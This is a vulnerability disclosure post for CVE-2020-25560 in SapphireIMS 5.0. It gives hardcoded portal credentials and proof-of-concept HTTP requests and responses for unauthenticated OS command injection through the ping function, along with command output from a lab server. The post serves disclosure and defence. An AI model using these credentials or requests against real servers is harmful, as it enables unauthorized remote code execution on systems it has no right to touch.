

[CVE-2020-25560] SapphireIMS: Unauthenticated remote command execution on server

Posted on Sep 19, 2020

Description

In SapphireIMS 5.0, it is possible to use the hardcoded credential in clients (username: sapphire, password: ims) and gain access to the portal. Once the access is available, the attacker can inject malicious OS commands on "ping", "traceroute" and "snmp" functions and execute code on the server. We also observed the same is true if the JSESSIONID is completely removed.

CVSS 3.0 Base Score

10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Researcher

Tanoy Bose

POC

Note, in the current POC, we have not utilized JSESSIONID.

Request (Command Exec)

```
1 GET /SapphireIMS/CmdProcess?hostorip=127.0.0.1&pagefrom=Ping&param1=1000&param2=4&
2 Host: 192.168.191.48
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Fire
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Upgrade-Insecure-Requests: 1
```

Response

```
1 HTTP/1.1 302 Moved Temporarily
2 Server: Apache-Coyote/1.1
3 Location: http://192.168.191.48/SapphireIMS/./RunCmd.jsp?pagefrom=Ping
4 Cookie: JSESSIONID=Ni+9V4wVLLkXCe5J0mirr2XX
5 Content-Length: 0
6 Date: Wed, 16 Sep 2020 20:51:49 GMT
7 Connection: close
```

For checking the output of the command, use the JSESSIONID of the above response in the below request.

Request (to Read executed command status)

```
1 POST /SapphireIMS/PortletClass HTTP/1.1
2 Host: 192.168.191.48
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Fir
4 Accept: text/javascript, text/html, application/xml, text/xml, */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 X-Requested-With: XMLHttpRequest
8 X-Prototype-Version: 1.6.0.3
9 Content-type: application/x-www-form-urlencoded; charset=UTF-8
10 Content-Length: 9
11 Origin: http://192.168.191.48
12 Cookie: JSESSIONID=Ni+9V4wVLLkXCe5J0mirr2XX
13 Connection: close
14 Referer: http://192.168.191.48/SapphireIMS/RunCmd.jsp?pagefrom=Ping
15
16 make=Ping
```

Response



```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Cache-Control: no-cache
4 Vary: Accept-Encoding
5 Vary: Accept-Encoding
6 Content-Type: text/xml;charset=UTF-8
7 Date: Wed, 16 Sep 2020 20:51:51 GMT
8 Connection: close
9
10 <tr><td class="gen"><textarea id="desc" name="desc" cols="100" rows="22" class="
11     Host Name . . . . . : WinDev2008Eval
12     Primary Dns Suffix . . . . . :
13     Node Type . . . . . : Mixed
14     IP Routing Enabled. . . . . : No
15     WINS Proxy Enabled. . . . . : No
16     Ethernet adapter Ethernet:
17     Connection-specific DNS Suffix . :
18     Description . . . . . : Microsoft Hyper-V Network Adapter
19     Physical Address. . . . . : 00-15-5D-00-AF-27
20     DHCP Enabled. . . . . : Yes
21     Autoconfiguration Enabled . . . . : Yes
22     Link-local IPv6 Address . . . . . : fe80::1082:834f:7792:5e65%7 (Preferred)
23     IPv4 Address. . . . . : 192.168.1.109 (Preferred)
24     Subnet Mask . . . . . : 255.255.255.0
25     Lease Obtained. . . . . : Wednesday, September 16, 2020 12:42:55
26     Lease Expires . . . . . : Thursday, September 17, 2020 12:42:55
27     Default Gateway . . . . . : 192.168.1.1
28     DHCP Server . . . . . : 192.168.1.1
29     DHCPv6 IAID . . . . . : 83891549
30     DHCPv6 Client DUID. . . . . : 00-01-00-01-26-F4-1C-CA-00-15-5D-00-AF
31     DNS Servers . . . . . : 192.168.1.1
32     NetBIOS over Tcpip. . . . . : Enabled
33 Wed Sep 16 13:48:59 PDT 2020
34 Action Completed
35 </textarea></td></tr><tr><td class="gen"><br><br><input type="button" value="Fin
```



Vulnerability Tracker

- [CVE-2020-25560](#)

Disclosure timelines

- 07 May, 2020 - Vendor informed; failed
- 16 Sept, 2020 - Cert-CC and Cert-In Informed

CVE-2020-25560 # SapphireIMS # Web application

Looking for something?



© Vulnerability Disclosure by Tanoy Bose: Theme by Art Chen.

Powered by Hexo.